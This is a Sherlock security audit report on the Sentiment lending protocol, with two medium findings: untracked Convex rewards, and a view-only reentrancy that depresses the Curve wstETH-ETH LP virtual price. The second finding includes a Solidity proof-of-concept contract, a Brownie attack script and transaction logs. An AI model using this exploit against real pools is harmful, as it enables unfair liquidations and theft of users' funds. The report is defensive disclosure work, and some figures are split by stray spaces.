SHERLOCK

SHERLOCK SECURITY REVIEW FOR

SHERLOCK

Prepared for: Sentiment
Prepared by: Sherlock
Lead Security Expert: WATCHPUG
Dates Audited: November 28 - December 1, 2022
Prepared on: December 9, 2022

Introduction

Sentiment is a permissionless undercollateralised onchain credit protocol that allows users to lend and borrow assets with increased capital efficiency and deploy them across DeFi.

Scope

Changes made after the Sentiment and Sentiment Update contest:

PRs since last Sentiment contest:

1. https://github.com/sentimentxyz/oracle/pull/47
2. https://github.com/sentimentxyz/controller/pull/50
3. https://github.com/sentimentxyz/controller/pull/51
4. https://github.com/sentimentxyz/oracle/pull/48

Findings

Each issue has an assigned severity:

- Medium issues are security vulnerabilities that may not be directly exploitable or may require certain conditions in order to be exploited. All major issues should be addressed.
- High issues are directly exploitable security vulnerabilities that need to be fixed.

Issues found

Medium	High
2	0

Issues not fixed or acknowledged

Medium	High
0	0

Security experts who found valid issues

WATCHPUG GalloDaSballo Bahurum

Issue M-1: [WP-M1] getRewards() can be triggered by external parties which will result in the rewards not be tracking properly by the system

Source: https://github.com/sherlock-audit/2022-12-sentiment-judging/issues/15

Found by

WATCHPUG

Summary

`ConvexRewardPool#getReward(address)` can be called by any address besides the owner themself.

Vulnerability Detail

The reward tokens will only be added to the assets list when `getReward()` is called.

If there is a third party that is "helping" the `account` to call `getReward()` from time to time, by keeping the value of unclaimed rewards low, the account owner may not have the motivation to take the initiative to call `getReward()` via the `AccountManager`.

As a result, the reward tokens may never get added to the account's assets list.

Impact

If the helper/attacker continuously claims the rewards on behalf of the victim, the rewards will not be accounted for in the victim's total assets.

As a result, the victim's account can be liquidated while actual there are enough assets in their account, it is just that these are not accounted for.

Code Snippet

https://github.com/sentimentxyz/controller/blob/507274a0803ceaa3cbbaf2a696e2458e18437b2f/src/convex/ConvexBoosterController.sol#L31-L46

https://arbiscan.io/address/0x63F00F688086F0109d586501E783e33f2C950e78

Tool used

Manual Review

Recommendation

Consider adding all the reward tokens to the account's assets list in `ConvexBoosterController.sol#canDeposit()`.

Discussion

r0ohafza

fix: https://github.com/sentimentxyz/controller/pull/54

Issue M-2: H-01 wstETH-ETH Curve LP Token Price can be manipulated to Cause Unexpected Liquidations

Source: https://github.com/sherlock-audit/2022-12-sentiment-judging/issues/7

Found by

Bahurum, GalloDaSballo

Summary

The wsteETH-ETH LP token is priced via it's `virtual_price`

Through what Chainalysis called View only Reentrancy, we can reduce the value of `virtual_price`, causing the RiskEngine to trigger a liquidation event.

Vulnerability Detail

Per some testing I made, we know that the Debt for such an account will be denominated in WETH, this price cannot be tampered.

However, the price of the ETH-wstETH LP Token can be manipulated by calling the RiskEngine while reEntering from the `POOL.remove_liquidity` function.

This is possible because the function will send ETH first, before updating it's internal wstETH balances.

To test the maximum impact I simulated borrowing an infinite amount of WETH (by impersonating the GMX Vault).

If that amount of ETH were available on Arbitrum, we can achieve over 10x in price suppression, effectively making any "normal" account instantly liquidatable.

The estimated cost of the attack is 60 BPS of the total ETH used (due to price impact)

Impact

Because of the price manipulation, we can trigger unfair liquidations to our advantage, because the cost of manipulation is in the 50BPS range, any time a big enough deposit is made, it becomes profitable to force liquidate them.

In the theoretical scenario shown below (borrowing from GMX Vault), I can effectively liquidate any account using the token. A more pragmatic scenario is listed below as well

Code Snippet

Below a simulation showing how to achieve the Virtual Price Manipulation, the last piece of the attack would be to call liquidate on an account while re-entering

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.10;


import {IERC20} from "@oz/token/ERC20/IERC20.sol";
import {SafeERC20} from "@oz/token/ERC20/utils/SafeERC20.sol";
import {ReentrancyGuard} from "@oz/security/ReentrancyGuard.sol";

interface IAccount {
  function getAssets() external view returns (address[] memory);
  function getBorrows() external view returns (address[] memory);
}
interface IRiskEngine {
  function getBalance(address account) external view returns (uint);
  function getBorrows(address account) external view returns (uint);
}

interface ISentimentCore {
  function riskEngine() external view returns (address);
}

interface ICurvePool {
  function add_liquidity(uint256[2] memory amounts, uint256 min_mint_amount)
↪  external payable returns (uint256);
  function remove_liquidity(uint256 amount, uint256[2] memory min_amounts)
↪  external returns (uint256);
  function get_virtual_price() external view returns (uint256);
}

interface ILP {
  function balanceOf(address) external view returns (uint256);
}

contract VirtualPriceManip {
  ICurvePool POOL = ICurvePool(0x6eB2dc694eB516B16Dc9FBc678C60052BbdD7d80);
  ILP LP = ILP(0xDbcD16e622c95AcB2650b38eC799f76BFC557a0b);
  ILP WSTETH = ILP(0x5979D7b546E38E414F7E9822514be443A4800529);
  // Get WETH

  // Check Virtual Price

  // Deposit into Curve
```

```
// Check Virtual Price

// Withdraw, and ReEnter

// Check Virtual Price

// End, Check Virtual Price

event Debug(string name, uint256 value);

function fakeSentimentPrice() internal returns (uint256){
  uint256 FAKE_WETH_PRICE = 1e18;
  return FAKE_WETH_PRICE * POOL.get_virtual_price() / 1e18;
}

function startAttack() external payable {
  uint256 amt = msg.value;

  // 1. Check Virtual Price
  emit Debug("Virtual Price 1", POOL.get_virtual_price());
  emit Debug("fakeSentimentPrice 1", fakeSentimentPrice());

  // 2. Curve deposit
  uint256[2] memory dep = [amt, 0];
  POOL.add_liquidity{value: amt}(dep, 1);

  // 3. Check Virtual Price
  emit Debug("Virtual Price 3", POOL.get_virtual_price());
  emit Debug("fakeSentimentPrice 3", fakeSentimentPrice());

  // 4. Curve Withdraw
  // TODO: This is where profit maximization math will be necessary
  uint256[2] memory dep2 = [uint256(0), uint256(0)];
  POOL.remove_liquidity(LP.balanceOf(address(this)), dep2);

  // 6. Check Virtual Price
  emit Debug("Virtual Price 6", POOL.get_virtual_price());
  emit Debug("fakeSentimentPrice 6", fakeSentimentPrice());

  // TODO: Check loss in ETH and compare vs wstETH we now have
  // Loss is there, but should be marginal / imbalance + fees
  emit Debug("Msg.value", msg.value);
  emit Debug("This Balance", address(this).balance);
  emit Debug("Delta", msg.value - address(this).balance);

  emit Debug("WstEthBalance", WSTETH.balanceOf(address(this)));
}
```

```
  receive() external payable {
    // 5. Reenter here

    // Check Virtual Price
    emit Debug("Virtual Price 5", POOL.get_virtual_price());
    emit Debug("fakeSentimentPrice 5", fakeSentimentPrice());
  }
}
```

Here the Brownie Console for the maximum theoretical attack

```
weth = Contract.from_explorer("0x82aF49447D8a07e3bd95BD0d56f35241523fBab1")
whale = accounts.at("0x489ee077994b6658eafa855c308275ead8097c4a", force=True)

weth.transfer(a[0], weth.balanceOf(whale), {"from": whale})
weth.withdraw(weth.balanceOf(a[0]), {"from": a[0]})
c = VirtualPriceManip.deploy({"from": a[0]})
c.startAttack({"from": a[0], "value": a[0].balance() * 99 / 100})

Fetching source of 0x82aF49447D8a07e3bd95BD0d56f35241523fBab1 from
 ↪  api.arbiscan.io...
Fetching source of 0x8b194bEae1d3e0788A1a35173978001ACDFba668 from
 ↪  api.arbiscan.io...
Transaction sent:
 ↪  0x69a4ee6fba72894d2e6c7ba556a6df8bb2159981e09b7dd947283368628baefa
  Gas price: 0.0 gwei   Gas limit: 20000000   Nonce: 1
  TransparentUpgradeableProxy.transfer confirmed   Block: 42567825   Gas used:
   ↪  39080 (0.20%)

Transaction sent:
 ↪  0xfecb0db00b3db0b7b6cf22bc1adc92d16169060ead3a9c13f88a19b0c57fd666
  Gas price: 0.0 gwei   Gas limit: 20000000   Nonce: 0
  TransparentUpgradeableProxy.withdraw confirmed   Block: 42567826   Gas used:
   ↪  30937 (0.15%)

Transaction sent:
 ↪  0x198d4b73e7def112903606efa77c0add9910e7f3e86186e310a0adbfec0adebc
  Gas price: 0.0 gwei   Gas limit: 20000000   Nonce: 1
  VirtualPriceManip.constructor confirmed   Block: 42567827   Gas used: 647070
   ↪  (3.24%)
  VirtualPriceManip deployed at: 0x602C71e4DAC47a042Ee7f46E0aee17F94A3bA0B6

Transaction sent:
 ↪  0x101e212ca64ed3fc6595c15c30706a8075a010ed866ba5b230cb494f9ac20c5c
  Gas price: 0.0 gwei   Gas limit: 20000000   Nonce: 2
  VirtualPriceManip.startAttack confirmed   Block: 42567828   Gas used: 354622
   ↪  (1.77%)
```

```
>>> history[-1].events
{'Debug': [OrderedDict([('name', 'Virtual Price 1'), ('value',
↪  1005466150529603227)]), OrderedDict([('name', 'fakeSentimentPrice 1'),
↪  ('value', 1005466150529603227)]), OrderedDict([('name', 'Virtual Price 3'),
↪  ('value', 1005678057072654996)]), OrderedDict([('name', 'fakeSentimentPrice
↪  3'), ('value', 1005678057072654996)]), OrderedDict([('name', 'Virtual Price
↪  5'), ('value', 93457469619424556)]), OrderedDict([('name',
↪  'fakeSentimentPrice 5'), ('value', 93457469619424556)]),
↪  OrderedDict([('name', 'Virtual Price 6'), ('value', 1005678057072654996)]),
↪  OrderedDict([('name', 'fakeSentimentPrice 6'), ('value',
↪  1005678057072654996)]), OrderedDict([('name', 'Msg.value'), ('value',
↪  86826027227418610000000)]), OrderedDict([('name', 'This Balance'), ('value',
↪  83541864626282883099978)]), OrderedDict([('name', 'Delta'), ('value',
↪  32841626011357269000 22)]), OrderedDict([('name', 'WstEthBalance'), ('value',
↪  27361837206445971632 08)])], 'Transfer': [OrderedDict([('_from',
↪  '0x0000000000000000000000000000000000000000'), ('_to',
↪  '0x602C71e4DAC47a042Ee7f46E0aee17F94A3bA0B6'), ('_value',
↪  81436145961234587181162)]), OrderedDict([('from',
↪  '0x6eB2dc694eB516B16Dc9FBc678C60052BbdD7d80'), ('to',
↪  '0x602C71e4DAC47a042Ee7f46E0aee17F94A3bA0B6'), ('value',
↪  27361837206445971632 08)]), OrderedDict([('_from',
↪  '0x602C71e4DAC47a042Ee7f46E0aee17F94A3bA0B6'), ('_to',
↪  '0x0000000000000000000000000000000000000000'), ('_value',
↪  81436145961234587181162)])], 'AddLiquidity': [OrderedDict([('provider',
↪  '0x602C71e4DAC47a042Ee7f46E0aee17F94A3bA0B6'), ('token_amounts',
↪  (86826027227418610000000, 0)), ('fees', (11884971933620921875,
↪  9942362504203593908)), ('invariant', 866980456405810351747 53),
↪  ('token_supply', 861904074331505065901 78))])], 'RemoveLiquidity':
↪  [OrderedDict([('provider', '0x602C71e4DAC47a042Ee7f46E0aee17F94A3bA0B6'),
↪  ('token_amounts', (83541864626282883099978, 2736183720644597163208)),
↪  ('fees', (0, 0)), ('token_supply', 475426147191591940 9016))])]}


>>> 93457469619424556 / 1005466150529603227 * 100
9.294939423887941

>>> 93457469619424556 / 1005466150529603227 * 100
9.294939423887941
>>> eth_to_convert = 2736183720644597163208 * 1.08
>>> 3284162601135726900022 - eth_to_convert
3.290841828395613e+20
>>> 3.290841828395613e+20 / 8682602722741861000 0000 * 100
## 37 BPS to perform the attack, remaining costs would bring it up to around 50
↪  BPS (swap wstETH, cost of liquidations, etc..)
0.3790155939964975

## See `fakeSentiment5 vs fakeSentimen1`
```


```
>>> 93457469619424556 / 1005466150529603227 * 100
9.294939423887941

"""
Price is 9% of it's original value, we achieve a 10X price depreciation, allowing
↪  us to liquidate any user that has taken minimal leverage
"""
```

Tool used

Manual Review

Recommendation

At this time, I would recommend NOT to use the ETH-stETH LP Token as the price is manipulatable. The only rational way I could expect this to be solved is for Chainlink to offer virtual_price oracles, or the development of a TWAP for the virtual_price.

Additional Considerations

The theoretical maximum attack allows to effectively liquidate any account that uses the stETH-WETH Pool.

In practice, via an AAVE Flashloan I'm able to borrow up to 14.5k WETH, which allows to move the price by over 11%, meaning that some accounts, that are levered at around 90% could be unfairly liquidated.

```
>>> history[-1].events
```

```
{'Debug': [OrderedDict([('name', 'Virtual Price 1'), ('value',
↪  1005466094471744332)]), OrderedDict([('name', 'fakeSentimentPrice 1'),
↪  ('value', 1005466094471744332)]), OrderedDict([('name', 'Virtual Price 3'),
↪  ('value', 1005497298777214105)]), OrderedDict([('name', 'fakeSentimentPrice
↪  3'), ('value', 1005497298777214105)]), OrderedDict([('name', 'Virtual Price
↪  5'), ('value', 8903158922101775 31)]), OrderedDict([('name',
↪  'fakeSentimentPrice 5'), ('value', 890315892210177531)]),
↪  OrderedDict([('name', 'Virtual Price 6'), ('value', 1005497298777214105)]),
↪  OrderedDict([('name', 'fakeSentimentPrice 6'), ('value',
↪  1005497298777214105)]), OrderedDict([('name', 'Msg.value'), ('value',
↪  145233000000000000000)]), OrderedDict([('name', 'This Balance'), ('value',
↪  713314090131700921245)]), OrderedDict([('name', 'Delta'), ('value',
↪  739015909868299078755)]), OrderedDict([('name', 'WstEthBalance'), ('value',
↪  677574531693017948098)])], 'Transfer': [OrderedDict([('_from',
↪  '0x0000000000000000000000000000000000000000'), ('_to',
↪  '0xE7eD6747FaC5360f88a2EFC03E00d25789F69291'), ('_value',
↪  144975340994978140 0798)]), OrderedDict([('from',
↪  '0x6eB2dc694eB516B16Dc9FBc678C60052BbdD7d80'), ('to',
↪  '0xE7eD6747FaC5360f88a2EFC03E00d25789F69291'), ('value',
↪  677574531693017948098)]), OrderedDict([('_from',
↪  '0xE7eD6747FaC5360f88a2EFC03E00d25789F69291'), ('_to',
↪  '0x0000000000000000000000000000000000000000'), ('_value',
↪  144975340994978140 0798)])], 'AddLiquidity': [OrderedDict([('provider',
↪  '0xE7eD6747FaC5360f88a2EFC03E00d25789F69291'), ('token_amounts',
↪  (145233000000000000000, 0)), ('fees', (192842135570862938,
↪  176890872766115807)), ('invariant', 6238313797265075968081), ('token_supply',
↪  6204014881865700809814)])], 'RemoveLiquidity': [OrderedDict([('provider',
↪  '0xE7eD6747FaC5360f88a2EFC03E00d25789F69291'), ('token_amounts',
↪  (713314090131700921245, 677574531693017948098)), ('fees', (0, 0)),
↪  ('token_supply', 4754261471915919409016)])]}
>>> 890315892210177531 / 1005466094471744332
## Around 11.2% Price Manipulation with 14.5k ETH used
0.8854757978467043
```

To put it in simple terms, the cost of this attack is around $90k and it will be profitable to liquidate any position above $100k

Discussion

Evert0x

Comment from WatchPug (lead senior)

> We find the issue to be valid.
>
> However, the economics of the attack may not be profitable, and the preconditions and requirements for such an attack can be narrow. We also believe that flashloans cannot be utilized as the entrance for the

attack: `POOL.remove_liquidity()` will add a reentrancy lock which prevents `remove_liquidity()` on the liquidation impounded lpToken assets.

As the revenue/profit from such an attack cannot be used to repay the loan within the same block, flashloans cannot be used.

Although the impact is high we judge the issue to be medium severity because of the requirements and conditions described in the comment from WatchPug.